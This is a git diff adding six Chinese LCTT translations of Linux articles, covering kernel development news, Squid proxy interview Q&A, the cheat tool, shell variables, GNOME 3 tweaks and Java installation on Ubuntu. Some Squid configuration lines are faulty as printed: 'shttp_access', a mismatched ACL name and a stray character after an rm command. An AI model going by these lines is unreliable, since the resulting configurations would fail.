+[6]:http://parlinfo.aph.gov.au/parlInfo/search/display/display.w3p;db=CHAMBER;id=chamber%2Fhansards%2F232fa1a8-d7e8-4b22-9018-1a99b5a96812%2F0025;query=Id%3A%22chamber%2Fhansards%2F232fa1a8-d7e8-4b22-9018-1a99b5a96812%2F0000%22 diff --git a/published/201409/20140724 diff -u--What is New in Kernel Development.md b/published/201409/20140724 diff -u--What is New in Kernel Development.md new file mode 100644 index 0000000000..39d60bae93 --- /dev/null +++ b/published/201409/20140724 diff -u--What is New in Kernel Development.md @@ -0,0 +1,45 @@ +diff -u: 内核开发里的新鲜事儿 +================================================================================ +偶尔总会有人指出Linux中的POSIX违规(violation),通常的回答是“修复违规问题”,但有时李纳斯·托瓦兹认为POSIX特性是不完整的,至少他们维护Linux特性的情形下是这样的。因此,他们或许应该构建一层POSIX兼容层,即便这个分层会相对较慢和低效。 + +这一次,*迈克尔·凯利斯克(Michael Kerrisk)*报告了一个影响文件操作的POSIX违规。显然,在多线程操作期间读写文件会导致竞争出现,重写其它操作的改变。 + +关于这是否是POSIX的一个违规存在一些讨论,但到最后又有谁关心呢?数据重写(clobbering)是很糟糕的事情。在迈克尔提交部分代码去重现这个问题后,讨论的问题集中到该做什么去修复它。但迈克尔的观点是:“Linux从早期开始就与UNIX不一致。(如在1992年版的史蒂夫的APUE的191页讨论到fork()操作后在父进程与子进程之间文件偏移量的共享问题。尽管史蒂夫没有显式地讲清楚一致性的保证,但缺乏这个保证的推论这里的讨论可能有些没意义。)” + +艾尔·维洛(Al Viro)和李纳斯一起设法解决这个修复。李纳斯尝试引入一个简单的互斥量去锁住文件,以便写操作无法互相重写。艾尔提出了自己的改进以改善李纳斯的补丁。 + +李纳斯一度解释过这个故障自身的历史。显然,从前这个用来告诉系统去哪里写文件的文件指针已经被锁在一个信号量中,所以只有一个进程可以在某一时刻对这个文件做任何操作。但是,他们从中拿走了这个信号量,以便在任何时候可以适应设备文件和其它非常规文件,因为当用户被禁止写入其中时它们就会陷入竞争状态。 + +这就是错误的由来。那个时候,它悄悄地通过了检查,未被发现。因为实际上对常规文件的读写仍然由内核自动处理。只有文件指针自身可以避免同步。而且,因为高速线程化的文件操作是一个非常罕见的需求,所以对任何人来说都需要很长时间才能遇到这个问题并报告它。 + +一个有趣的小细节是当李纳斯和艾尔在寻找一个修复方案时,艾尔一度抱怨李纳斯采用的方法并不能支持一些确定的架构,包括*ARM*和*PowerPC*。李纳斯的回应是“我怀疑关心这个是否有意义。[...]如果使用ARM/PPC架构的人停止抱怨,他们可以往gcc中加入struct-return的支持。” + +看到这些问题突然产生并得到处理通常是很有趣的。在某些情况下,这个修复的部分工作必须在内核中进行,部分在GCC中,部分在其它地方。在这个特例里,艾尔认为整个事情都应该在内核里处理,他在灵感的激发下往补丁中写入了自己的版本,李纳斯也接受了。 + +*安迪·克伦(Andi Kleen)*则想为*perf*增加底层CPU事件支持。问题在于这可能会导致大量的底层事件,而且会因CPU的变化而改变。即使为了所有类型的CPU把可能的时间都存储在内存里,也可能会显著地增加内核的运行大小。因此,把这个信息硬编码进内核的方法是有问题的。 + +他也指出*OProfile*工具依赖于这些时间的公开可用列表,尽管他表示OProfile开发者并非总维持他们的列表与最新的可用版本一致。 + +为了解决这些问题,安迪提交了一个补丁,允许perf识别在给定的系统上为特定的CPU需要那种事件列表,并自动从起始位置下载这个列表的最新版本。然后perf可以解释这个列表并分析其中的事件,不会使内核负载过重。 + +有各种各样对安迪代码的反馈,其中大部分涉及到应该在哪个目录下保存事件列表和文件如何命名。这份代码本身的特性似乎得到了很好的回应。一处细节证明了安迪的代码比其他人的更有争议,就是将列表下载到用户家目录下的一个子目录。安迪表示如果不这样做的话,用户可能会以系统管理员的身份去下载事件列表,这会是危害安全的操作。 + +萨沙·莱文(Sasha Levin)最近发布了一个脚本来从堆栈转储中把*十六进制的偏移量*翻译成有意义的指向内核源码文件的行号。因此诸如“ffffffff811f0ec8”形式的十六进制表示可以被翻译成“fs/proc/generic.c:445”。 + +然而,结果表明李纳斯·托瓦兹正打算从堆栈转储中移除十六进制偏移量,具体原因是他们难以理解。所以萨沙的代码看起来过时了。[译者注:程序媛,伤不起!:< ] + +他们在这个问题上纠结了一番。起初,萨沙打算依赖存储在System.map文件里的数据区补偿,但李纳斯指出包括他在内的有些人并不会保留System.map文件。李纳斯推荐使用/usr/bin/nm从编译好的内核文件中提取符号表。 + +所以,似乎萨沙的脚本可能确实为调试堆栈转储提供了有意义的文件和行号,假设堆栈转储提供足够的信息去完成计算。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/diff-u-whats-new-kernel-development-0 + +原文作者:[Zack Brown][a] + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/user/801501 \ No newline at end of file diff --git a/published/201409/20140729 10 Useful 'Squid Proxy Server' Interview Questions and Answers in Linux.md b/published/201409/20140729 10 Useful 'Squid Proxy Server' Interview Questions and Answers in Linux.md new file mode 100644 index 0000000000..13e2c05b05 --- /dev/null +++ b/published/201409/20140729 10 Useful 'Squid Proxy Server' Interview Questions and Answers in Linux.md @@ -0,0 +1,132 @@ +10个关于linux中Squid代理服务器的实用面试问答 +================================================================================ +不仅是系统管理员和网络管理员时不时会听到“代理服务器”这个词,我们也经常听到。代理服务器已经成为一种企业常态,而且经常会接触到它。它现在也出现在一些小型的学校或者大型跨国公司的自助餐厅里。Squid(常被视作代理服务的代名词)就是这样一个应用程序,它不但可以被作为代理服务器,其同时也是在该类工具中比较被广泛使用的一种。 + +本文旨在提高你在遇到关于代理服务器面试点时的一些基本应对能力。 + +![Squid Interview Questions](http://www.tecmint.com/wp-content/uploads/2014/07/Squid-Interview-Questions.png) + +以下为面试问答的内容 + +### 1. 什么是代理服务器?代理服务器在计算机网络中有什么用途? ### + +> **回答** : 代理服务器是指那些作为客户端和资源提供商或服务器之间的中间件的物理机或者应用程序。客户端从代理服务器中寻找文件、页面或者是数据,而且代理服务器能处理客户端与服务器之间所有复杂事务,从而满足客户端的生成的需求。 + +代理服务器是WWW(万维网)的支柱,它们其中大部分都是Web代理。一台代理服务器能处理客户端与服务器之间的复杂通信事务。此外,它在网络上提供的是匿名信息(LCTT 译注:指浏览者的 IP、浏览器信息等被隐藏),这就意味着你的身份和浏览痕迹都是安全的。代理可以去配置允许哪些网站的客户能看到,哪些网站被屏蔽了。 + +### 2. Squid是什么? ### + +> **回答** : Squid是一个在GNU/GPL协议下发布的既可作为代理服务器,同时也可作为Web缓存守护进程的应用软件。Squid主要是支持像HTTP和FTP那样的协议,但是对其它的协议比如HTTPS,SSL,TLS等同样也能支持。其特点是Web缓存守护进程通过从经常上访问的网站里缓存Web和DNS数据,从而让上网速度更快。Squid支持所有的主流平台,包括Linux,UNIX,微软公司的Windows和苹果公司的Mac。 + +### 3. Squid的默认端口是什么?怎么去修改它的操作端口? ### + +> **回答** : Squid运行时的默认端口是3128。我们可以通过编辑它的配置文件来把它的默认端口修改成未被用户使用的端口,路径是 /etc/squid/squid.conf ,建议如下。 + +用你的编辑器打开 ‘/etc/squid/squid.conf’ 文件。 + + # nano /etc/squid/squid.conf + +现在把它修改成未被使用的其它端口,并保存退出。 + + http_port 3128 + +重新启动Squid代理服务,如下显示。 + + # service squid restart + +### 4. 你的公司管理层要求你通过Squid代理服务器屏蔽掉一些域名,你怎么做? ### + +> **回答** : 屏蔽域名是一个在配置文件中实现的功能模块。我们只需要执行一个小的手动配置即可,建议如下。 + +a. 在 ‘/etc/squid’ 目录下创建一个名为 ‘blacklist’ 的文件。 + + # touch /etc/squid/blacklist + +b. 用nano编辑器打开这个文件。 + + # nano /etc/squid/blacklist + +c. 以每行一个域名的方式将想要屏蔽的域名写进这个文件里。 + + .facebook.com + .twitter.com + .gmail.com + .yahoo.com + ... + +d. 保存退出,然后从 ‘/etc/squid/squid.conf’ 打开Squid配置文件。 + + # nano /etc/squid/squid.conf + +e. 在配置文件中添加如下行。 + + acl BLACKLIST dstdom_regex -i “/etc/squid/blacklist” + http_access deny blacklist + +f. 保存配置文件并退出,重启Squid服务让其生效。 + + # service squid restart + +### 5. 在Squid中什么是媒体范围限制(Media Range Limitation)和部分下载? ### + +> **回答** : 媒体范围限制是Squid的一种特殊的功能,它只从服务器中获取所需要的数据而不是整个文件。这个功能很好的实现了用户在各种视频流媒体网站如YouTube和Metacafe看视频时,可以点击视频中的进度条来选择进度,因此整个视频不用全部都加载,除了一些需要的部分。 + +Squid部分下载功能的特点是很好地实现了类似在Windows更新时能以一个个小数据包的形式下载,并可以暂停,正因为它的这个特点,正在下载文件的Windows机器可以重新继续下载,而不用担心数据会丢失。Squid的媒体范围限制和部分下载功能只有在存储了一个完整文件的副本之后才行。此外,当用户访问另一个页面时,除非Squid进行了特定的配置,部分下载下来的文件会被删除且不留在缓存中。 + +### 6. 什么是Squid的反向代理? ### + +> **回答** : 反向代理是Squid的一个功能,这个功能被用来加快最终用户的上网速度。下面用缩写 ‘RS’ 的表示包含了资源的原服务器,而代理服务器则称作 ‘PS’ 。初次访问时,它会从RS得到其提供的数据,并将其副本按照配置好的时间存储在PS上。这样的话每次从PS上请求的数据就相当于就是从原服务器上获取的。这样就会减轻网络拥堵,减少CPU使用率,降低网络资源的利用率,从而缓解原来实际服务器的负载压力。但是RS统计不了总流量的数据,因为PS分担了部分原服务器的任务。‘X-Forwarded-For HTTP’ 信息能用于记录下通过HTTP代理或负载均衡方式连接到RS的客户端最原始的IP地址。 + +从技术上说,用单个Squid服务器同时作为正向代理服务器和反向代理服务器是可行的。 + +### 7. 由于Squid能作为一个Web缓存守护进程,那缓存可以删除吗?怎么删除? ### + +> **回答** : 当然!作为一个Web缓存守护进程,Squid能加快网页的访问速度,清除缓存也是非常简单的。 + +a. 首先停止Squid代理服务,然后从这个 ‘/var/lib/squid/cache’ 目录中删除缓存。 + + # service squid stop + # rm -rf /var/lib/squid/cache/*< + +b. 创建交换分区目录。 + + # squid -z + +### 8. 你有一台工作中的机器可以访问代理服务器,如果想要限制你的孩子的访问时间,你会怎么去设置那个场景? ### + +把允许访问的时间设置成晚上4点到7点三个小时,跨度为星期一到星期五。 + +a. 想要限制Web访问时间在星期一到星期五的晚上4点到7点,要先打开Squid的配置文件。 + + # nano /etc/squid/squid.conf + +b. 在配置文件中添加如下行,保存文件并退出。 + + acl ALLOW_TIME time M T W H F 16:00-19:00 + shttp_access allow ALLOW_TIME + +c. 重启Squid服务。 + + # service squid restart + +### 9. Squid存储的数据是什么文件格式? ### + +> **回答** : Squid存储的数据是UFS文件格式的。UFS是一种老的,使用比较广泛的Squid存储格式 + +### 10. Squid的缓存会存储到哪里? ### + +> **回答** : Squid存储的缓存是位于 ‘/var/spool/squid’ 的特定目录下。 + +以上就是全部内容了,很快我还会带着其它有趣的内容回到这里。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/squid-interview-questions/ + +作者:[Avishek Kumar][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ diff --git a/published/201409/20140729 How to access Linux command cheat sheets from the command line.md b/published/201409/20140729 How to access Linux command cheat sheets from the command line.md new file mode 100644 index 0000000000..cbd40b56c3 --- /dev/null +++ b/published/201409/20140729 How to access Linux command cheat sheets from the command line.md @@ -0,0 +1,96 @@ +从命令行访问Linux命令小抄 +================================================================================ +Linux命令行的强大在于其灵活及多样化,各个Linux命令都带有它自己专属的命令行选项和参数。混合并匹配这些命令,甚至还可以通过管道和重定向来联结不同的命令。理论上讲,你可以借助几个基本的命令来产生数以百计的使用案例。甚至对于浸淫多年的管理员而言,也难以完全使用它们。那正是命令行小抄成为我们救命稻草的一刻。 + +[![](https://farm6.staticflickr.com/5562/14752051134_5a7c3d2aa4_z.jpg)][1] + +我知道联机手册页(man)仍然是我们的良师益友,但我们想通过我们能自行支配的快速参考卡让这一切更为高效和有目的性。最终极的小抄可能被自豪地挂在你的办公室里,也可能作为PDF文件隐秘地存储在你的硬盘上,或者甚至设置成了你的桌面背景图。 + +做为一个选择,也可以通过另外一个命令来访问你最爱的命令行小抄。那就是,使用[cheat][2]。这是一个命令行工具,它可以让你从命令行读取、创建或更新小抄。这个想法很简单,不过cheat经证明是十分有用的。本教程主要介绍Linux下cheat命令的使用方法。你不需要为cheat命令做个小抄了,它真的很简单。 + +### 安装Cheat到Linux ### + +首先,如果你还没有Git,那么就安装一个吧: + + $ sudo apt-get install git (Debian-based system) + $ sudo yum install git (RedHat-based system) + +同时,安装[Python包安装器pip][3]。 + +最后,使用下列命令来安装cheat。 + + $ sudo pip install docopt pygments + $ git clone https://github.com/chrisallenlane/cheat.git + $ cd cheat + $ sudo python setup.py install + +### 配置Cheat ### + +cheat命令并不需要太多配置。 + +一个推荐的配置是启用命令行补全功能。那样,当你查询一个小抄时,就可以使用[TAB]键来自动补全你想要查看的命令名称了。以下操作可以启用bash下的自动补全功能。 + + $ wget https://github.com/chrisallenlane/cheat/raw/master/cheat/autocompletion/cheat.bash + $ sudo cp cheat.bash /etc/bash_completion.d/ + +他们也提供了用于其它shell的自动补全脚本,像zsh和fish也有。 + +另外一个要做的事是定义EDITOR环境变量。该变量应该指向创建或更新小抄时你想要用的文本编辑器。例如,如果你想要使用Vim编辑器,那就把下面的内容放进~/.bashrc。 + + export EDITOR=/usr/bin/vim + +注销并重新登录进来,以激活自动补全功能并更新.bashrc。 + +### Cheat基本用法 ### + +cheat命令一个很酷的事是,它自带有超过90个的常用Linux命令的内建小抄。查看可用的小抄列表: + + $ cheat -l + +![](https://farm3.staticflickr.com/2932/14754370585_7133cbbc8c_z.jpg) + +要访问某个指定命令的小抄,只要运行cheat命令,后面跟上该命令的名称: + + $ cheat + +![](https://farm4.staticflickr.com/3899/14567722899_8b86c312ca_z.jpg) + +你可以通过使用“-s”选项,在所有小抄中搜索包含有指定关键词的内容: + + $ cheat -s + +在许多情况下,小抄适用于某些人,而对另外一些人却没什么帮助。要想让内建的小抄更具个性化,cheat命令也允许你创建新的小抄,或者更新现存的那些。要这么做的话,cheat命令也会帮你在本地~/.cheat目录中保存一份小抄的副本。 + +要使用cheat的编辑功能,首先确保EDITOR环境变量设置为你默认编辑器所在位置的完整路径。然后,复制(不可编辑)内建小抄到~/.cheat目录。你可以通过下面的命令找到内建小抄所在的位置。一旦你找到了它们的位置,只不过是将它们拷贝到~/.cheat目录。 + + $ cheat -d + +---------- + + /usr/lib/python2.6/site-packages/cheat/cheatsheets + +---------- + + $ cp /usr/lib/python2.6/site-packages/cheat/cheatsheets/* ~/.cheat + +现在,你可以使用“-e”选项来创建或更新一个小抄了: + + $ cheat -e openssl + +正如你所能想象的,cheat的编辑功能十分有用,可以帮助你剪裁本地小抄库以满足你的需要。如果你深信知识分享,贡献你的小抄到cheat命令的[官方Git仓库][4]中,你会更加受欢迎,这样大家都能从中受益。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/access-linux-command-cheat-sheets-command-line.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xkcd.com/1168/ +[2]:https://github.com/chrisallenlane/cheat +[3]:http://ask.xmodulo.com/install-pip-linux.html +[4]:https://github.com/chrisallenlane/cheat diff --git a/published/201409/20140730 How to use variables in shell Scripting.md b/published/201409/20140730 How to use variables in shell Scripting.md new file mode 100644 index 0000000000..0e09b5cd5e --- /dev/null +++ b/published/201409/20140730 How to use variables in shell Scripting.md @@ -0,0 +1,200 @@ +如何在shell脚本中使用变量 +================================================================================ +在每种**编程**语言中,**变量**都扮演了一个重要的角色。在Linux shell脚本编程中,我们使用两种类型的变量:**系统定义的变量**和**用户定义的变量**。 + +shell脚本中的变量是用来**调用**一个**数值**或者**字符值**的手段。与正规的编程语言不同的是,shell脚本不要求你去为变量**声明一个类型**。 + +在本文中,我们将讨论shell脚本编程中的变量及其类型,以及如何设置和使用这些变量。 + +### 系统定义的变量: ### + +这些变量由**操作系统(Linux)自身**创建并维护,通常它们以**大写字母**定义,我们可以通过命令“**$ set**”来查看这些变量。下面列出了部分系统定义的变量: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
系统定义的变量 意义
BASH=/bin/bash Bash Shell 名称
BASH_VERSION=4.1.2(1) Bash 版本
COLUMNS=80 你的屏幕宽度(列数)
HOME=/home/linuxtechi 用户家目录
LINES=25 你的屏幕高度(行数)
LOGNAME=LinuxTechi 当前登录用户的名字
OSTYPE=Linux 操作系统类型
PATH=/usr/bin:/sbin:/bin:/usr/sbin 可执行文件搜索路径
PS1=[\u@\h \W]\$ 命令行提示符
PWD=/home/linuxtechi 当前工作目录
SHELL=/bin/bash Shell 名称
USERNAME=linuxtechi 当前登录的用户名
+ +要打印以上变量的值,可以使用**echo command**命令,如下: + + # echo $HOME + # echo $USERNAME + +我们可以通过在环境变量名前前置一个美元符号来从你的脚本里输入环境变量。请看下面脚本演示: + + $ cat myscript + + #!/bin/bash + # display user information from the system. + echo “User info for userid: $USER” + echo UID: $UID + echo HOME: $HOME + +注意:echo命令中的**环境变量**在脚本运行时会被它们的值替代。同时注意,我们可以再第一个字符串的双引号中放置**$USER**系统变量,而shell脚本仍然可以明白我们的意思。然而,该方法有一个**缺点**。看下面这个例子: + + $ echo “The cost of the item is $15” + The cost of the item is 5 + +很明显,那不是我们说希望的。无论何时,当脚本遇见引号中的美元符号时,它都会认为你是在调用一个变量。在本例中,该脚本试着显示**变量$1**(而这个变量并没有定义),然后显示数字5。要显示实际上的美元符号,你**必须前置**一个**反斜线字符**: + + $ echo “The cost of the item is \$15” + The cost of the item is $15 + +那样好多了。反斜线允许shell脚本将**美元符号**解释成为实际的美元符号,而不是变量。 + +### 用户定义的变量: ### + +这些变量由**用户**定义。shell脚本允许我们在脚本中设置并使用我们**自己的变量**。设置变量允许你**临时存储数据**并在脚本中使用,让shell脚本看起来像一个真正的计算机程序。 + +**用户变量**可以是任何不超过**20个的字母、数字**或者**下划线字符**的文本字符串(LCTT 译注:变量只能以字母或下划线开头)。用户变量是大小写敏感的,因此,变量Var1和变量var1是不同的变量。这个小规则常常让新手编写脚本时麻烦重重。 + +我们可以通过**等于号**为变量赋值。变量,等于号和值(对于新手又是个麻烦的地方)之间不能有空格。下面是几个给用户变量赋值的例子: + + var1=10 + var2=-57 + var3=testing + var4=“still more testing” + +shell脚本为变量值**自动确定数据类型**。shell脚本内定义的变量会在脚本运行时保留它们的值,当脚本完成后则删除这些值。 + +就像系统变量一样,用户变量也可以使用美元符号来调用: + + $ cat test3 + #!/bin/bash + # testing variables + days=10 + guest="Katie" + echo "$guest checked in $days days ago" + days=5 + guest="Jessica" + echo "$guest checked in $days days ago" + $ + +运行脚本会产生以下输出: + + $ chmod u+x test3 + $ ./test3 + Katie checked in 10 days ago + Jessica checked in 5 days ago + $ + +每次变量被**调用**,它都会变成了当前分配给它的值。有一点很重要,当调用一个变量值时,你使用**美元符号**,但是当为一个变量分配一个值时,你不能用美元符号。下面用例子来说明: + + $ cat test4 + #!/bin/bash + # assigning a variable value to another variable + value1=10 + value2=$value1 + echo The resulting value is $value2 + $ + +当你使用赋值语句中**value1**变量的**值**时,你仍然必须使用美元符号。这段代码产生了如下输出: + + $ chmod u+x test4 + $ ./test4 + The resulting value is 10 + $ + +如果你忘了美元符号,而又让value2赋值行看起来像这样: + +value2=value1 + +你会获得下面的输出: + + $ ./test4 + The resulting value is value1 + $ + +没有美元符号,**shell解释**变量名为**普通文本字符串**,这极有可能不是你想要的。 + +### 在shell变量中使用反引号(`): ### + +**反引号允许**你将shell命令的输出赋值给变量。虽然这似乎没什么大不了,但它是**脚本编程**中主要的构建基块。你必须使用反引号将整个命令行包含起来: + + **testing=`date`** + +shell会在**反引号**中运行命令,然后将输出结果赋值给变量testing。下面的例子给出了如何使用一个常规shell命令的输出结果来创建一个变量: + + $ cat test5 + #!/bin/bash + # using the backtick character + testing=`date` + echo "The date and time are: " $testing + $ + +变量testing接收来自date命令的输出结果,而它又在echo语句中被调用。运行脚本会产生如下输出: + + $ chmod u+x test5 + $ ./test5 + The date and time are: Mon Jan 31 20:23:25 EDT 2011 + +**注**:在bash中,你也可以选用$(...)语法来替换反引号(`),它有个优点就是可以重用(re-entrant)。 + +例: + + $ echo " Today’s date & time is :" $(date) + Today’s date & time is : Sun Jul 27 16:26:56 IST 2014 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/variables-in-shell-scripting/ + +作者:[Pradeep Kumar][a] +译者:[ ](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201409/20140731 Easy Steps to Make GNOME 3 More Efficient.md b/published/201409/20140731 Easy Steps to Make GNOME 3 More Efficient.md new file mode 100644 index 0000000000..edffe7c30c --- /dev/null +++ b/published/201409/20140731 Easy Steps to Make GNOME 3 More Efficient.md @@ -0,0 +1,84 @@ +轻而易举提升GNOME 3效率 +================================================================================ +极少Linux桌面像GNOME 3一样饱受争议。自发布以来,它被奚落,被挖苦,还被痛恨。事情是,它实际上是一个很不错的桌面。它牢固、可靠、稳定、优雅、简洁……而且带有一些小的调整和附加的东西,它可以做成市面上最高效、最友好的桌面之一。 + +当然,什么才是高效而又/或者是用户友好的桌面呢?那取决于观念——每个人都有的东西。归根到底,我的目标是帮助你快速访问你要用到的应用和文件。简单吧。不管你信不信,将GNOME 3一步一步变成更为高效而又用户友好的世界是一项十分容易的任务——你只需要知道哪里去查看以及做些什么即可。在这里,我会引领你去往正确的方向。 + +我决定从这里开始着手这个事情,首先安装一个干净的[Ubuntu GNOME][1]发行版开始,该安装包含有一个GNOME 3.12桌面。在以GNOME为中心的桌面准备好后,就该开始对它进行微调了。 + +### 添加窗口按钮 ### + +出于一些未知的原因,GNOME的开发者们决定对标准的窗口按钮(关闭,最小化,最大化)不屑一顾,而支持只有单个关闭按钮的窗口了。我缺少了最大化按钮(虽然你可以简单地拖动窗口到屏幕顶部来将它最大化),而且也可以通过在标题栏右击选择最小化或者最大化来进行最小化/最大化操作。这种变化仅仅增加了操作步骤,因此缺少最小化按钮实在搞得人云里雾里。所幸的是,有个简单的修复工具可以解决这个问题,下面说说怎样做吧: + +默认情况下,你应该安装了GNOME优化工具(GNOME Tweak Tool)。通过该工具,你可以打开最大化或最小化按钮(图1)。 + +
![图 1: Adding the minimize button back to the GNOME 3 windows.](http://www.linux.com/images/stories/41373/gnome3-max-min-window.png) + +*图 1: 添加回最小化按钮到GNOME 3窗口*
+ +添加完后,你就可以看到最小化按钮了,它在关闭按钮的左边,等着为你服务呢。你的窗口现在管理起来更方便了。 + +同样在这个优化工具中,你也可以对GNOME进行大量其它有帮助的配置: + +- 设置窗口聚焦模式 +- 设置系统字体 +- 设置GNOME主题 +- 添加启动应用 +- 添加扩展 + +### 添加扩展 ### + +GNOME 3的最佳特性之一,就是shell扩展,这些扩展为GNOME带来了各种类别的有用特性。关于shell扩展,没必要从包管理器去安装。你可以访问[GNOME Shell扩展][2]站点,搜索你想要添加的扩展,点击扩展列表,点击打开按钮,然后扩展就安装完成了;或者你也可以从GNOME优化工具中添加它们(你在网站上会找到更多可用的扩展)。 + +注:你可能需要在浏览器中允许扩展安装。如果出现这样的情况,你会在第一次访问GNOME Shell扩展站点时见到警告信息。当出现提示时,只要点击允许即可。 + +令人印象更为深刻的(而又得心应手的)扩展之一,就是[Dash to Dock][3]。 + +该扩展将Dash移出应用程序概览,并将它转变为相当标准的停靠栏(图2)。 + +
![图 2: Dash to Dock adds a dock to GNOME 3.](http://www.linux.com/images/stories/41373/gnome3-dash.png) + +*图 2: Dash to Dock添加一个停靠栏到GNOME 3*
+ +当你添加应用程序到Dash后,他们也将被添加到Dash to Dock。你也可以通过点击Dock底部的6点图标访问应用程序概览。 + +还有大量其它扩展致力于将GNOME 3打造成一个更为高效的桌面,在这些不错的扩展中,包括以下这些: + +- [最近项目][4]: 添加一个最近使用项目的下拉菜单到面板。 +- [Firefox书签搜索][5]: 从概览搜索(并启动)书签。 +- [跳转列表][6]: 添加一个跳转列表弹出菜单到Dash图标(该扩展可以让你快速打开和程序关联的新文档,甚至更多) +- [待办列表][7]: 添加一个下拉列表到面板,它允许你添加项目到该列表。 +- [网页搜索框][8]: 允许你通过敲击Ctrl+空格来快速搜索网页并输入一个文本字符串(结果在新的浏览器标签页中显示)。 + +### 添加一个完整停靠栏 ### + +如果Dash to dock对于你而言功能还是太有限(你想要“通知区域”,甚至更多),那么向你推荐我最喜爱的停靠栏之一[Cairo Dock][9](图3)。 + +
![图 3: Cairo Dock ready for action.](http://www.linux.com/images/stories/41373/gnome3-Cairo-dock.png) + +*图 3: Cairo Dock待命*
+ +在将Cairo Dock添加到GNOME 3后,你的体验将成倍地增长。从你的发行版的包管理器中安装这个优秀的停靠栏吧。 + +不要将GNOME 3看作是一个效率不高的,用户不友好的桌面。只要稍作调整,GNOME 3可以成为和其它可用的桌面一样强大而用户友好的桌面。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/781916-easy-steps-to-make-gnome-3-more-efficient + +作者:[Jack Wallen][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/93 +[1]:http://ubuntugnome.org/ +[2]:https://extensions.gnome.org/ +[3]:https://extensions.gnome.org/extension/307/dash-to-dock/ +[4]:https://extensions.gnome.org/extension/72/recent-items/ +[5]:https://extensions.gnome.org/extension/149/search-firefox-bookmarks-provider/ +[6]:https://extensions.gnome.org/extension/322/quicklists/ +[7]:https://extensions.gnome.org/extension/162/todo-list/ +[8]:https://extensions.gnome.org/extension/549/web-search-dialog/ +[9]:http://glx-dock.org/index.php diff --git a/published/201409/20140801 How To Install Java On Ubuntu 14.04.md b/published/201409/20140801 How To Install Java On Ubuntu 14.04.md new file mode 100644 index 0000000000..28b4c2b2c8 --- /dev/null +++ b/published/201409/20140801 How To Install Java On Ubuntu 14.04.md @@ -0,0 +1,78 @@ +怎样在Ubuntu 14.04中安装Java +===================================================================================================== + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Install_Java_Ubuntu_Linux_Mint.jpeg) + +想知道**如何在Ubuntu 14.04中安装Java**?安装Java肯定是[安装Ubuntu 14.04后首先要做的几件事情之一](1),而且这也很简单。 + +许多人比较厌恶Java,但是很有可能因为某些原因你需要安装Java,尽管你很讨厌它。在这篇文章中,我们将展示如何在Ubuntu 14.04安装Java(也可能在Linux Mint 17同样适用)。 + +### JRE vs OpenJDK vs Oracle JDK ### + +在我们继续了解如何安装Java之前,让我们快速地了解JRE、OpenJDK和Oracle JDK之间的不同之处。 + +- JRE(Java Runtime Environment),它是你运行一个基于Java语言应用程序的所正常需要的环境。如果你不是一个程序员的话,这些足够你的需要。 +- JDK代表Java开发工具包,如果你想做一些有关Java的开发(阅读程序),这正是你所需要的。 +- OpenJDK是Java开发工具包的开源实现,Oracle JDK是Java开发工具包的官方Oracle版本。尽管OpenJDK已经足够满足大多数的案例,但是许多程序比如[Android Studio](2)建议使用Oracle JDK,以避免UI/性能问题。 + +### 检查Java是否已经安装在Ubuntu上 ### + +打开终端,使用下面的命令: + + java -version + +如果你看到像下面的输出,这就意味着你并没有安装过Java: + + The program ‘java’ can be found in the following packages: + * default-jre + * gcj-4.6-jre-headless + * openjdk-6-jre-headless + * gcj-4.5-jre-headless + * openjdk-7-jre-headless + Try: sudo apt-get install + +### 在Ubuntu和Linux Mint上安装Java ### + +看了各种类型‘Java’的不同之后,让我们看如何安装他们。 + +#### 在Ubuntu和Linux Mint上安装JRE #### + +打开终端,使用下面的命令安装JRE: + + sudo apt-get install default-jre + +#### 在Ubuntu和Linux Mint上安装OpenJDK #### + +在终端,使用下面的命令安装OpenJDK Java开发工具包: + + sudo apt-get install default-jdk + +特殊地,如果你想要安装Java 7或者Java 6等等,你可以使用openjdk-7-jdk/openjdk-6jdk,但是记住在此之前安装openjdk-7-jre/openjdk-6-jre。 + +#### 在Ubuntu和Linux Mint上安装Oracle JDK #### + +使用下面的命令安装,只需一些时间,它就会下载许多的文件,所及你要确保你的网络环境良好: + + sudo add-apt-repository ppa:webupd8team/java + sudo apt-get update + sudo apt-get install oracle-java8-installer + sudo apt-get install oracle-java8-set-default + +如果你想安装Java 7(i.e Java 1.7),在上面的命令中用java7代替java8。 + +我希望这篇文章能够帮助你学会在Ubuntu,Linux Mint和其它基于Ubuntu的Linux发行版本上安装Java,我们欢迎所有问题或者建议。 + +------------------------------------------------------------------------------------------------------------------ + +via: http://itsfoss.com/install-java-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ 